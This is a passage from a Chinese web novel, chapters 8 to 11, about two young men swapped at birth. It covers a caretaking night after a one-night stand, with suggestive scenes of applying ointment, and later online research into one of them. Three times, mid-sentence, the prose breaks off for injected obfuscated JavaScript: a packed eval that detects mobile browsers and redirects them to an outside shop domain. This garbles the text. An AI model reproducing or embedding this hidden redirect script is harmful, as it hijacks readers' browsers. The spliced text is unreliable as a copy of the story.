“别听。”祈琰说。 祈琰浅红色的唇瓣一张一合,程知蘅一下被夺走了全部注意力,只觉得整个脑袋都像是浸在水里,周遭的声音全变得模糊了,花了好些时间才传到耳侧。 祈琰低沉的声线才刚落下来,便立刻顺势抽回手。 耳畔那冰凉的触感消失了,程知蘅的脸颊却在这一刻不由分说烧红。 8. 第 8 章 “她们敢说我为什么不敢听?”程知蘅嘟哝了一句。 虽然没说过分的话,但人还没走远就大声议论的确不大礼貌,程知蘅很明显地表露出轻微的不快。 这怒意并不清晰,没什么杀伤力,也就小孩子闹脾气的水平。 祈琰像是没听见他的话,只自顾自从背包里掏出钥匙,打开门锁。 进了门,这个小家的全貌展现在程知蘅面前。 家里很整洁,东西也不算多,但家具和装修风格显然都是多年以前的类型了。屋内并不算拥挤,但比起程知蘅从小长大的环境,要逼仄了好几倍。 趁着程知蘅往四下打量的间隙,祈琰将一串钥匙放在他手心:“这是备用钥匙。” 估计没想到一进门祈琰就会给他钥匙,程知蘅显得微微有些讶异。 祈琰很惜字如金地解释了一下自己的行为动机:“反正这里也是你家。虽然估计你也不缺地方去,但需要的时候可以过来住。” 程知蘅乖巧点点头:“好。” 祈琰像是忽然想到似的补充了一句:“你过来之前最好提前和我说一声。” 程知蘅抬了抬眉,换了个八卦神色:“怎么,要带女朋友回来住?” 其实他开口问完就有点后悔——没有人会用这样拙劣的玩笑试探前一天晚上的一夜情对象有没有正牌女友。 好在祈琰没有深究。他像是完全没往那方面想,听到程知蘅的猜测后解释了一下:“不是,我没有女朋友。只是我自己住的时候有反锁门的习惯,你不提前和我说的话可能开不了门。” “好……”看他依旧波澜不惊,程知蘅也不知道自己是庆幸还是失望,拿出手机说,“那我们加个微信?不然我也没法儿和你说。” “行。”祈琰拿出手机很快扫了程知蘅的二维码。 输完验证信息他就收了手机,带着程知蘅往屋里走,顺道简单介绍了一下:“往这边推门是洗手间,那里是厨房……不知道你做不做饭?这个灶不好拧,万一你用的话要小心。” 程知蘅忙摆手:“没事没事,我不会做饭。” 祈琰点了点头,也没多问,走出了厨房。 他带着程知蘅来到客厅和房间外,指着介绍:“这是爸爸妈妈之前的房间,这是奶奶的,这边是我的房间。你看你想要哪一间,如果喜欢我这间,我过两天收拾好搬出来。” 程知蘅再次慌乱摆手:“不不不,不用了,这我怎么好意思!我住爸爸妈妈那间会不会不太尊重?我睡奶奶房间或者沙发都可以。”他很小心翼翼,大概也只是因为礼貌,不过客气过了头就显得疏离。 祈琰想了想,说:“奶奶住院之后房间很久没收拾了,你就住我这间吧,我睡沙发。” 程知蘅还要分辨,祈琰却打断他。 他声音淡而短促,显得很坚决:“你睡就好,我没在客气,奶奶也让我照顾好你。你脸色不太好,今晚好好休息吧。” 程知蘅的确脸色发灰,刚才在医院其实补了觉,却比上午的时候气色显的更差了。 程知蘅伸手揉了揉太阳穴:“那我就睡了,谢谢你啊。我确实是觉得有点头晕,可能是空调吹多有点着凉,抱歉。” 明明是自己不舒服,却对他说抱歉。祈琰垂眸打量了一下程知蘅那张发白的小脸,很轻地蹙了一下眉。 此刻程知蘅忽然把手机递过来:“我点个外卖,你能帮我填个地址么?” 趁着祈琰接过手机填地址的时候,程知蘅在屋里绕了一圈,四处都要推开门看看新鲜。 推开洗手间门的时候,他忽然惊喜道:“哎哟你们这儿居然能有浴缸!这我真没想到。” 祈琰正屈指打字,分神答了一句:“是的,不过我很少用,你要用的话要擦一下。” “好!我身上有点发冷,能泡个澡么?” 虽然已经不是酷暑,但天气完全不凉快,他说身上发冷其实很不对劲。这时候祈琰投过目光来,问:“你真没事么?” 程知蘅从洗手间里探出一个脑袋:“哎呀没事儿!刚才车上空调打得有点冷,泡个澡就好了。我外卖要是来了你帮我收一下行么?” “可以。” 浴室的放水声已经响起来了,程知蘅的声音多了一点回音:“你直接帮我付一下吧,密码是374829,和锁屏一样。点完你帮我搁在桌上就行。” 祈琰的表情微微变了一点。 几乎没有人会随随便便告诉别人自己的锁屏密码。 浴室里的程知蘅像是猜到祈琰的表情,又补充了一句:“反正我的钱都是你爸妈的,而且这是我备用机,无所谓你知道密码哈哈哈,我担心一会儿快递员来了你打不开手机……” 闻言祈琰也没有再多问,顺手帮他下了单,紧接着按灭手机丢在了桌面上,把自己锁进厨房做饭去了。 过了许久,祈琰把自己的晚饭端上桌时瞥了一眼墙上的挂钟,眉头微蹙。 程知蘅进去洗澡已经超过一个小时了,他的外卖早就到了,现在都快放凉了。他走到浴室门口,里面除了一点很微弱的水声,听不到任何其他动静。 “程知蘅。”他叩了叩门,声音是一贯的平淡。 没有回应。 他又敲了两下,力道稍重,音量也提高了:“程知蘅,你洗好了吗?” 门内依旧只有滴滴答答的水声,安静得有些反常。一种模糊的不安掠过祈琰心头。以程知蘅的性格,就算睡着了被人叫醒,也会迷迷糊糊地应一声才对。 抽油烟机的声音在这时候停了,室内仿佛忽然变得很静,这时候,浴室里“滴答滴答”的水声变得很明显,像是漏关了一点水龙头,除此之外,再无声音。 几乎不需要再花时间思考,谁都能意识到事情不对劲。 祈琰先是再用力敲了敲门:“你还好吗?再不回答我要进来了。” 依旧没有回应。 不再犹豫,祈琰用力推开了浴室门。 门根本没锁,应声而开。扑面而来的是尚未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984472|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全散去的、温热潮湿的雾气,空气中混杂着沐浴露的淡淡香气,但这股暖香之中,似乎又夹杂着一丝不同寻常的气息。 浴室景象映入眼帘。水龙头果然没有关紧,一线细流持续滴落,在已经近乎满溢的浴缸水面上激起一圈圈徒劳的涟漪。 而在那片被白色泡沫半遮半掩的浴缸中央,躺卧着紧闭双眼的程知蘅。 他脖颈以下完全浸没在水中,露出的肩膀和锁骨线条分明,肌肤却透出一种不太自然的、蔓延开的潮红。 他闭着眼,长而密的睫毛安静地垂覆着,好像只是无声无息地睡着了,然而那微微蹙起的眉心隐隐透露出一种异样的不安详。 祈琰的瞳孔急遽收缩。他甚至没来得及思考,几个大步就已跨到浴缸边,温热的水浸湿了他的袖口也浑然不觉。 他伸出手,很快地用手背贴上了程知蘅露在水外的额头——触手一片滚烫,那温度高得吓人。 “程知蘅!”祈琰的声音抬高了些,带着他自己都未曾察觉的紧绷。 他伸手托住程知蘅的脸颊,伸手沾了点凉水,轻轻拍打程知蘅的脸颊,试图把人叫醒。 “你怎么了,哪里不舒服?”他边托着程知蘅的脸一边问。 程知蘅这时候终于有了一点反应。 他修长的睫毛微微颤动着,像是竭力要睁开眼,然而双眼只睁开了片刻又再次合上了。 他原本漂亮晶亮的大眼睛现在显得很没神彩,声音也比早些时候沙哑了许多,极为微弱:“我有点难受……” 祈琰依旧托着程知蘅的后脑,感觉到他几乎完全没有力气,过高的体温透过发丝后的皮肤传递过来,昭示着情况的严重。 祈琰的眉头紧紧锁起:“你发烧了,我带你去医院行么?” “不要不要,不要医院……”程知蘅紧闭着眼睛,幅度很轻微地摇头,一直重复着“不要去医院”。 祈琰冷声问:“不去医院你要怎样?” 程知蘅偏头去想,但是想了半晌也没想出个合理的答案出来。他伸手摸了摸自己的额头,缓缓点了一下头:“确实发烧了。不好意思,我很久没生病了。” 祈琰这回没再说话。 “我在你这儿住一天好么?……我感觉不怎么严重,睡一晚…应该就好了。”程知蘅很慢很慢地小声说。 祈琰垂着眼睫毛看他,眼睛里还是很黑,瞳孔被睫毛遮住,让人看不出来在想什么。 程知蘅已经烧得晕晕乎乎的了,等不到祈琰的回答,他再次合上了双眼。 这次祈琰没有再犹豫。他弯下腰,一手迅速绕过程知蘅的后颈,另一只手探入水中抄起他的腿弯。 水花哗啦一声被带起,程知蘅整个身体软绵绵地被从温水中捞了出来,脑袋无力地靠在祈琰的肩头,滚烫的呼吸微弱地拂过他的颈侧。 泡沫和水淋了祈琰一身,他却显得不怎么在乎的样子。 “先回房间,”他低声说,“发烧了还泡澡,我看你是不要命了。” 9. 第 9 章 祈琰一把抓过旁边架子上干燥宽大的浴巾,迅速将怀里的人裹紧,打横抱了起来。 前一天晚上才抱了他,此刻却觉得程知蘅比他想象中还要轻一些。他像一团失了所有力气的、温顺而滚烫的火,安静地蜷缩在他怀中。 程知蘅起先小声哼了两声,大概被从水里捞出有些不适应,但很快就没声了,像个洋娃娃似的任人摆弄,很乖巧地合着眼睛。 祈琰抱着他走出了这片被水汽笼罩的空间,他的脚步又急又稳,径直走向卧室。 湿透的浴巾不断往下滴水,在走廊地板上留下断断续续的水痕。 他将人轻轻放在床上,拉过被子盖好,这才借着灯光看清——程知蘅脸上的红晕根本不是水汽蒸出来的,而是烧出的潮红。 他的呼吸急促而灼热,唇瓣上已经被自己咬出了几道细小的血痕,雪白光洁的皮肤上,昨夜留下的暧昧痕迹依旧清晰可见,在灯光下显得有些刺目。 祈琰猛地偏过头去,昨夜的一些片段不受控制往他脑海里钻。 黑暗中急促的喘息,程知蘅的皮肤在掌心下细腻的触感,那双漂亮眼睛蒙上水雾、失神的模样……他的呼吸霎时乱了节奏,喉结不自觉地滚动。 无论是奶奶还是程家爸妈都托他照顾程知蘅,现在人烧成这样在自己家里,无论对谁都无法交代。 他屈指用力揉了揉太阳穴,闭眼深吸一口气。 两人都是男的,就算有什么不能看的,过了昨夜也全看光了。祈琰没怎么犹豫就拿起干净的毛巾在床上仔细替程知蘅擦干身上的水珠,动作间指尖偶尔掠过发烫的肌肤,引起一阵微不可察的热意。 他给对方套上一件自己的纯棉长T恤,衣领有些宽大。又从衣柜里翻出另一床被子,给人裹了个严严实实。 程知蘅软绵绵地任他摆布,期间微微睁了睁眼,迷蒙的视线在祈琰脸上停留片刻,像是确认了什么,又安心地闭上。他烧得迷糊,唇瓣轻轻动了动,似乎想说什么,最终却什么也没说出来。 他皮肤真是白,不同于祈琰那种冷调的白皙,而是带着暖意的瓷白。此刻因高烧泛着绯红,在床头暖黄的灯光下,漂亮得让人移不开眼。 换好衣服,总还得上药。祈琰不敢代劳,伸手轻轻按了按程知蘅的额头,温声说:“醒醒,一会儿再睡。不去医院的话你得吃点药,不然好不了,会更难受。” 他天生音色偏冷,虽然已经竭力放软语气,却依旧带着几分清冽。程知蘅不安地动了动,却没有睁眼。 祈琰微微蹙眉,拿他有点没办法。 祈琰年纪还小点的时候为了挣生活费,帮左邻右舍看过小孩,却从没照顾过同龄人。他盯着程知蘅,不明白为什么他比七八岁的小孩还娇。 不能对病人要求太高。他想了想,伸出手,很轻很轻地按了按程知蘅的眼皮,又捡起从前哄小孩的话,声音低缓:“听话,醒一醒,咱们吃点药。” 他手指修长,骨节分明,指腹有些粗糙,轻轻掠过程知蘅那排长长的睫毛和漂亮的眼睛,带来一阵细微的麻痒。 程知蘅终于张了张嘴,用几乎听不清的音量小声说:“对不起,麻烦你了……我真的有点难受。” “哪里难受?” 程知蘅掀起眼皮,半睁着眼睛,望向祈琰,显得可怜巴巴。 他软绵绵抬起手,按了按喉咙:“冷,喉咙疼,还有……” 他没接着说下去,神色显得有些无措。还有哪里疼,他真不好意思说。 其实昨晚和祈琰在一起的记忆还相当清晰,他当时虽然有些不适,但那种细微的不适也完全被酒意上头后的那点疯劲冲淡了。他心里有点苦,暗自抱怨,祈琰这人皮肤白眼皮薄,看着冷冷淡淡的,没想到床上一点也不好应付。 他还支支吾吾着,祈琰却已经点了点头:“好,我明白了。”他想了想,问,“我带你上医院行么?我有点担心你。” 我有点担心你。 程知蘅往后缩了缩,耳尖红了,虽然是关心的话,但祈琰的声音太冷静,让人听不出是真关切还是礼貌用语。 他很快地眨了几下眼睛,不知道想起来什么,忽然慌了:“我不想去医院……” 他蜷成一团,眼睛瞪得像串洗过的黑葡萄,晶亮,委屈巴巴的。 他并不想对着还不算熟悉的祈琰展现自己的脆弱,但是眼下除此之外又似乎没有其他方法。他没力气自己出门,更不知道该去哪里。 程知蘅说完后低下眼睛,那排长长的睫毛就这样扫在眼下的皮肤上,像鸦羽般轻轻颤抖。 祈琰沉默了一会儿,最终还是点了头:“行,那我们观察一晚。” “你就住这儿,如果明早更严重了我带你医院。” 程知蘅点了点头,眼眶红了。没过多久,他喘气的样子看起来也难受起来,用手不断从喉咙外边儿往里按咽喉的地方。 祈琰看他的样子也不忍心,他坐在床边,伸出手:“我给你看一下。” 程知蘅沉默了一会儿,点了头,很乖顺地张开嘴“啊”了一下,让祈琰给他看看嗓子。 “发炎了。”祈琰皱着眉头问,“你肯定疼很久了,早些时候怎么不说?” “我好久没生病了,以为只是前两天吃了辣又喝酒的原因……”程知蘅小声回答。 祈琰出门到药柜子里找出一瓶金喉健,又坐回床前:“我给你喷一下吧,这个很有用,很快喉咙就不疼了,但有点辣嗓子。” “这什么啊?” “药。” 程知蘅也不管三七二十一了,用力点头,哑着嗓子说:“好,我要喷。” 祈琰点了点头,伸手托住程知蘅的下巴,低声说:“张嘴。” 程知蘅顺从地把下巴搁在他掌心,很乖地张开嘴:“啊——” 祈琰打开深色的喷剂,迅速对准红肿的喉咙喷了两下。 程知蘅:!!! 这药看着温和,劲却大得不得了,像一根尖刺从扁桃体刺进去,刚一接触到喉咙就疼得他眼泪夺眶而出。 他几乎立刻被激得干呕起来,双手捂着喉咙想吐又吐不出来,脸色瞬间涨红,霎时间感觉天昏地暗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984473|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈琰像是早有预料,提前就揽住了程知蘅的肩膀,让他靠在自己身上。他也不怕脏,另一只手虚虚接在程知蘅唇边,得亏程知蘅最终没呕出来,否则非得吐他一身不可。 程知蘅缓了许久才缓过来,这时候浑身都没劲了,软软地靠在祈琰肩头,无力地喘着气。 但神奇的是,这药喷过去后,嗓子吞刀片的感觉果然好多了。虽然整个口腔里全是苦味,但比方才舒服多了,见效奇快。 程知蘅皱起眉头,小声抱怨:“这也太苦了,你刚怎么没告诉我这么难受……” “我知道难受,特意没和你说,不然你又害怕了。这个见效快,恶心完了就好了。”祈琰很平静地说,“早上你跑了,消炎药我给你拿回来了,一会儿你自己涂一下。” 程知蘅眼睛里还泪汪汪的,闻言有点疑惑地抬脑袋盯着祈琰,眼睛睁得很大,有点疑惑:“啊?” 祈琰边从包里翻出药放在床头柜上,垂眸说:“不消炎不行。你早上没清理,对不对?” “我我我……”程知蘅呆了。 “你什么?”祈琰看他。 程知蘅开始无意识地抓手背,目光低垂,不敢看祈琰,用很小的声音支支吾吾:“我不会弄……” 这时候祈琰一直平静的眼神微微变了一点,带了点诧异。 程知蘅早些的时候说“这事儿很正常”,祈琰其实听进去了,以为程知蘅是有经验的。 但现在的情况来看,恐怕并非如此。 祈琰想了想,问:“你够不到,要我帮你吗?” “啊?”程知蘅猛地抬头,又愣住了。 他坐在床上睁着眼睛看祈琰的样子,莫名和昨晚的情形重合。那时候他也是这样,只不过姿势不同,是躺在祈琰怀里。 睁着大眼睛,眼泪汪汪的,眼睫颤抖说不出话的模样,让人心疼又心里发痒。 祈琰也移开目光,垂眸时眼珠的颜色更深,不知在想些什么。 他再开口时依旧是不冷不热的样子:“本来也该我帮你。都是男的,上个药而已。你不好意思的话我关灯。” 程知蘅低下头,不吭声了。暖黄的灯光在他纤长的睫毛下投下一小片阴影,泛红的耳尖在灯光下几乎透明。 祈琰伸手关了灯,程知蘅的眼前刹那间一片黑。 他感觉到祈琰打开药,挤了一些在手上,接着轻轻掀开他身上的被子。 他的手指还没碰到身上,程知蘅就觉得自己脸上热起来。灯一黑,他又好像回到前一天晚上,缩在祈琰怀里,气都喘不上来。 他忽然又害怕了,呼吸也急促起来,可现在退缩显得晚了点。 他早些时候刻意在祈琰跟前装玩咖,现在更不敢临阵逃脱崩人设,只好侧过脸,伸手拿被子盖住脸,手指紧紧按住被单,将整张脸都遮住了,仿佛这样能微微抵御那种不安感。 过了一会儿,祈琰的手指碰到了他的腿上。 他的手有点冰,程知蘅下意识往后缩。 这时候,祈琰冷调的声音从黑暗中传来:“腿分开一点。” 10. 第 10 章 程知蘅心一横,往后一躺,从被子后面传来一句闷闷的“好”。 没等他做好心理建设,祈琰沾了药的手指就骤然按到了伤处上。 程知蘅什么都看不见,这么一下又疼又涨,他惊呼出声:“……啊!!” 祈琰没有说话,只是很专注地抹药。他修长的手指沾着药在伤处缓缓滑动着,很轻地将药膏一点点抹在上方。然而即便他竭力很轻地上药,对于程知蘅而言,这样的抽动还是很难受。 前一天夜晚,他们也是这么近,然而感觉全然不同。 那时候他喝醉了酒,两个人依偎着,再疼也不觉得难受。然而此刻他病着,身上滚烫,祈琰的手却冰凉。他感觉自己像案板上的鱼,被生生剖开、任人宰割。 程知蘅疼得抽气,额前出了汗,将脑袋从被子里探出来了一点,竭力抬头去看祈琰,断断续续问:“……好,好了吗?” “很疼吗?”祈琰薄薄的眼皮一掀,低声问他,“我有尽力轻了。” “还好……”程知蘅用力喘气着,觉得这种感觉有点难以描述,不是绝对的刺痛,但又让他很难受。他不好意思形容。 “我快一点弄完,”祈琰问,“这样你也少难受一点。” “嗯。”程知蘅用力点了点头。 里头的脏东西得清出来,祈琰不得不往伤口深处伸手去抠。他为了快点弄完,所以速度快了很多,幅度也很大,不过几下,程知蘅疼得眼泪都下来了。 祈琰感觉到他发抖,停了动作,温声说:“别怕,最后一下了。” 他最后一次挤了药膏,伸手抹到伤处,轻轻将药膏前后滑动涂满。 然而这次,不知手指碾到哪里,程知蘅骤然更剧烈地发起抖来,没克制住喊出了声。 他仰着头剧烈喘息着,纤长的脖颈绷直了,喉结滚动,受不了地蜷缩起来。 他很想逃,想喊祈琰慢一点,却害怕一开口说出来的都是不成调的呻吟。刹那间,他觉得浑身滚烫,近乎五感全失。 想必是想要尽快结束,祈琰手下的动作没停,反而还快了些,程知蘅仰头喘息,咬着床单不敢出声,最终大汗淋漓,浑身痉挛地软倒在软被中。 祈琰抽回了手,说:“好了。” 他站起身,这时候才像是看出程知蘅的难受。 他沉默了半晌,开口道歉:“不好意思弄疼你了。你快睡吧,好好休息。” 室内没有光源,但房门没有关,客厅的光线洒进来。随着祈琰抽回手站到一侧,程知蘅的面颊边便撒上了一点微弱的光。 他似乎有点失神,此刻微微抬眼去看祈琰,花了好些时间才对上焦距。 他睁着大眼睛,点了点头,眼睫毛一眨,眼泪就啪嗒啪嗒地大颗往下掉。 祈琰的眼神忽然变了一点。深黑,像是不忍。 他伸出没有沾药的左手到程知蘅脸颊边,替他轻轻刮掉了眼泪,低声说:“乖啊,不哭,现在不疼了。” 他手背冰凉,但程知蘅没躲。 黑暗里,祈琰的声音很沉,像被温水浸泡过,是哄孩子的语气,好听。 程知蘅躲在被子下面轻微发抖,他没回答,心脏轰然跳动。 * 抹了药后伤处果然舒服很多,但程知蘅还是有点烧。 夜里他睡得不大安稳,翻来覆去,凌晨的时候祈琰进门来替他量体温,喂了药,又替他换掉了汗湿的衣服。 之后他混混沌沌地做了很多梦,现实中发生了什么都记不清了,只记得祈琰把他揽进臂弯里,用冰凉的手轻轻拍他的脊背。 程知蘅这个人,你越疼他他越要黏人,他迷迷糊糊的,钻到祈琰胳膊底下,哑着嗓子说咳,想喝水。 祈琰很熟练地把水杯喂到他唇边,软声哄着他喝下去。程知蘅抬不起头,他就把程知蘅抱到身上喂。他动作很轻,像照顾襁褓婴儿。 程知蘅不大清醒的时候就很乖巧,喂什么吃什么,眼睛轻轻地眨,舔掉了唇边的温水。 睡着前最后记忆是他在琢磨,祈琰看起来那么冷淡的一个人,怎么这么会哄人? 程知蘅第二天午后才清醒过来。 他撑着坐起身,揉着眼睛,觉得头痛已经好多了,也没有再发烧。 他打量了一下身上的衣服,昨夜的一些细节忽然又浮了上来,他想起自己的衣服全是祈琰给换的,后知后觉不好意思起来,两颊烧红。 十几岁以后,就没有人这样细致地照顾过他,父母都没有过。 这时候,大概是听到动静,祈琰走到了房间门口。他扶着门框看程知蘅,问:“好点了吗?早上替你量体温,没烧了。” 祈琰的脸色看着有点苍白,嗓音有点沙哑,程知蘅想起来自己昨晚很折腾,祈琰照顾他,也不知道最后睡了多久。 “我好多了,谢谢你。”程知蘅低着头,声音很小。 祈琰脸上依旧是没什么表情的样子,只低头看了看表:“没事。本来昨天说今天带你回你爸妈家吃饭,但你生病,我就没和他们说了。等你病好了再说。” 他顿了顿,又说:“我炖了汤,你觉得睡饱了就起来喝点吧。” 程知蘅点了点头,看着祈琰没什么血色的嘴唇,想要出言关心一下他。他向来会讲话,却在这一刻忽然语塞,不知道该怎么开口。 他只犹豫了这么一会儿,祈琰却已经走了。 程知蘅向后躺了躺,又缩进被子里。 他觉得脑袋有点乱,开始出神。 他本来觉得昨晚请祈琰帮他上药这个事儿,或许是一个错误的选择。当时他烧得脑海迷糊,也没多想就答应了。 说到底,在前天之前,他和祈琰还是两个彻头彻尾的陌生人,本该这辈子都没有交集。 然而事情现在已经发生了,他却不如昨天早上起来时感觉那样崩溃。在他自己都没察觉到的时候,两个人的关系似乎悄然拉近了一点。 程知蘅一直觉得,出了抱错婴儿这样乌龙的事情,站在祈琰的角度,就算是讨厌他也不为过。然而在他生病,低落,又无处可去的时候,是祈琰把他带回家,照顾了一晚上。几乎没有陌生人能做到这一点。 程知蘅安静地想,和他爸爸妈妈一样,祈琰也真是一个很好的人。 因为没在自己家,程知蘅也没好赖床太久就起了床。祈琰已经替他准备了牙刷和毛巾,他简单洗漱了一下,就坐在了桌前。 祈琰从厨房出来,给程知蘅端上来一碗鸡汤,还另做了一荤一素两个小菜,盛了两碗饭,自己坐在了程知蘅对面。 他说:“你昨天的外卖凉了,我看了一下都是辣的,你今天恐怕不太适合吃,就没给你热。” 程知蘅瞪大眼睛,忙摆手:“没事没事!你丢了吧!” 祈琰点了点头。 程知蘅吹了吹眼前的汤,喝了一口,又拿筷子试了一下两个菜,觉得口味很有一点惊艳。 他是小孩子性格,吃到好吃的就高兴,这时候眼睛亮了,冲着祈琰小声说:“好好吃啊!你下次教我好不好?” 祈琰闻言抬头,就这样对上程知蘅一双花亮的大眼睛。程知蘅整个人身上黑色素比较淡,头发是棕色的,眼睛也是棕色的,像颗玻璃球。 祈琰怔了怔,低下头时说:“我以为留学生都会做饭?” 程知蘅哈哈干笑:“确实很多人都会,不过我懒得学……也就大一的时候试了一下,做出来无比难吃,后来一般都出去吃或者点外卖了。但我忙的时候也会做糊弄饭,就把所有食材都一锅出煮熟。” 说完他看祈琰还是没什么表情,补充道:“其实我们学校附近有蛮多饭店都很好吃的,等你哪天去玩,我给你导游。” 祈琰这时候很轻地笑了一下:“好。” 沉默了一会儿,他说:“其实如果你不喜欢做饭,也不见得非要学。” 程知蘅这样的人,适合天真一辈子,不愁吃不愁穿,也不要有烦恼。他不适合因为命运无常,去被逼着学习自己不愿意做的事。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984474|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些话,祈琰并没说出来。 也不知道是不是心有灵犀,这时候程知蘅没有刚才笑得开心了。他低头又喝了一口汤,垂着眼睛低声说:“总要学的,没法回到从前了。” 室内忽然变得有点安静,程知蘅很怕空气安静,又开口问:“你做饭,是自己学的吗?还是奶奶教的?” 祈琰的脸色骤然变了一点,不知道想到什么。 他过了一会儿才回答,这时候声音又冷下来:“是你妈妈教的。” “她……出事前身体就不太好,怕我爸照顾不好我,就教我自己做。后来奶奶住医院,我有空就做饭送过去,所以练习得多,味道还过得去。” 说完他抬眼看程知蘅:“有空我教你,奶奶说,我做的饭和妈妈味道很像。我想她如果有机会,会希望亲手教你的。” 他脸上没什么表情,说这话的时候也很平静,但程知蘅听完却莫名觉得心里一酸。 他点了点头,像被什么东西烫到一样低下头去。 吃完饭祈琰就出门去学校了,留下程知蘅一个人在家。 程知蘅这个人秉承着能坐着绝不站着,能躺着绝不坐着的人生原则,往沙发上一躺,掏出手机开始刷消息。 他手机之前开的飞行模式一直没解开,这时候点开绿色软件,来自四面八方的问候就开始叮叮叮不停往外跳。 首先是来自爸妈的n个未接通话和n条未读消息。 程修永喜欢消息轰炸,但不回复他也不会生气,程知蘅看都没看就全给隐藏了。相比之下程馥文就精简很多,她有事都是打电话,很少发信息,但此刻也留言了一句。 妈妈:【乖乖你看手机了就给妈妈回个消息】 程知蘅眼睛黯了黯,在聊天框里编辑了好几个来回,输入又删除,最后还是什么都没发。 他把聊天狂设置成“不显示”,又点开几个朋友的未读消息。 程知蘅回国很急,没来得及和很多朋友说,加上回来以后一直昼夜颠倒,大部分人都不知道他回国了。所以点开消息,清一色是约他出去玩的。 崔奇:【蘅儿,明天下午paddle约不约,老地方二缺二】 程知蘅干巴巴回了个:【我回国了,等你回来约啊】 他点开下一条: 林一航:【shisha bar走起】 林一航:【[图片]】 林一航:【来】 这消息一看就是群发的,程知蘅翻了个白眼,回复:【我要说几次我不抽烟】 林一航秒回:【哦我忘了,你是好学生,好学生从来不抽】 程知蘅回了个句号,把聊天框删了。 他继续往下看: 高忻:【知蘅,周五晚上来我家火锅呀,我请客,佳佳立果他们都来】 程知蘅直接复制了前面的消息:【我回国了姐,等你回来约啊】 他边玩手机,边这么有一搭没一搭地回消息。就这么跟处理邮件似的处理完所有未读消息,还没来得及看群聊,程知蘅已经觉得脑袋都痛了。 除此之外,还有来自邹柏宇的一万条知晓内幕后的问候消息,程知蘅根本懒得回,又想和他倾诉昨晚的混乱遭遇。 于是他直接忽略了所有未读消息,一个语音拨了过去。 “喂老邹,你在哪儿啊,还能收留我不?……啥还在她家?你们要见家长啊……哦好,那行,我这儿都挺好的,没事……对我开飞行模式了,嗯好,拜拜……滚。” 挂了电话,程知蘅往窗外一看,才发现天色都开始黑了。 看来至少还得再在这里蹭一晚上。 程知蘅磨磨蹭蹭,不情不愿地,点开了备注是“祈琰”的聊天框。 页面只有两句话,一句是“我通过了你的朋友验证请求,现在我们可以开始聊天了”,另一句是“祈琰”。 就发个名字,也不问好,跟他不知道祈琰这俩字怎么写似的。 程知蘅嘟了嘟嘴,显得有点不满意。 11. 第 11 章 程知蘅打开聊天框敲了好几句话都觉得不对味,写了又删删了又写,最后还是放弃了,很沮丧地点开了祈琰的朋友圈。 在不太了解一个人的时候,他通常会通过朋友圈来推测。可惜祈琰的朋友圈空空如也。 他倒是没屏蔽程知蘅,但朋友圈里几乎没发过任何带有个人色彩的东西。一个月可见,但一整个月也只发了三条,还全是转发的学术研讨会和论坛推文。 头像是一片黑,id是自己的大名,个性签名是一个句号。程知蘅翻了一圈,一无所获,差点气笑了。 朋友圈一无所获,于是他又转战微信和领英人肉了一番,这次比刚才的收获大了一些,找到了不少祈琰的获奖记录和经验分享,看得出来他的确相当优秀,各方面的履历都是顶级的。 只可惜,全部看完,对于祈琰是个什么样的人还是没什么概念。 程知蘅脑袋里灵光一闪,忽然想出一个好主意。 他打开一个人的聊天框,开始kuku打字: 程知蘅:【崔哥,我记得你本科是X大的,找你打听一个你们学校的人】 程知蘅:【叫祈琰,你听说过没】 崔奇大概正好在看手机,回得很快:【听过,我们一级的,特有名,怎么啦?】 程知蘅:【?】 程知蘅:【特有名?怎么个有名法?】 崔奇:【就是成绩好,外加长得帅】 崔奇:【他之前的过我们学校本科生特奖,你可能不清楚,就国内得这种奖,学校一般会给你印一个海报给贴在校园大道上,贴照片写一下你的事迹啥的】 崔奇:【别人海报上都放艺术写真,就他放张证件照,还特别帅,就这样很快出名了】 崔奇:【[链接]】 他甩了个链接来,链接里是个帖子,是路人拍的祈琰那张海报。点赞过万,底下一半夸帅,一半夸履历逆天。 程知蘅放大了照片,看见海报上果然是一张很突兀的白底证件照。 照片拍得没有祈琰本人好看,但依旧拍出了他好看的五官脸型,的确是帅。 程知蘅沉默了半晌,给帖子点了个赞,干巴巴地在聊天框里回复:【妈呀这么牛】 崔奇:【你忽然问他干什么?】 程知蘅顿了顿,忽然梗住了。 总不能说:“嗯就是我前天喝醉酒不小心和人睡了然后现在发现这人名字叫祈琰是养了我二十年的爸妈的亲儿子我还不小心住进了他家所以我现在在到处打听这人的消息来缓解我内心的崩溃之情。” 于是他很快扯了个谎:【亲戚的朋友,说是你们学校的,所以打听一下】 崔奇:【哦这样。他履历确实没得说啊,不过我听说他性格不太好,比较冷漠孤僻】 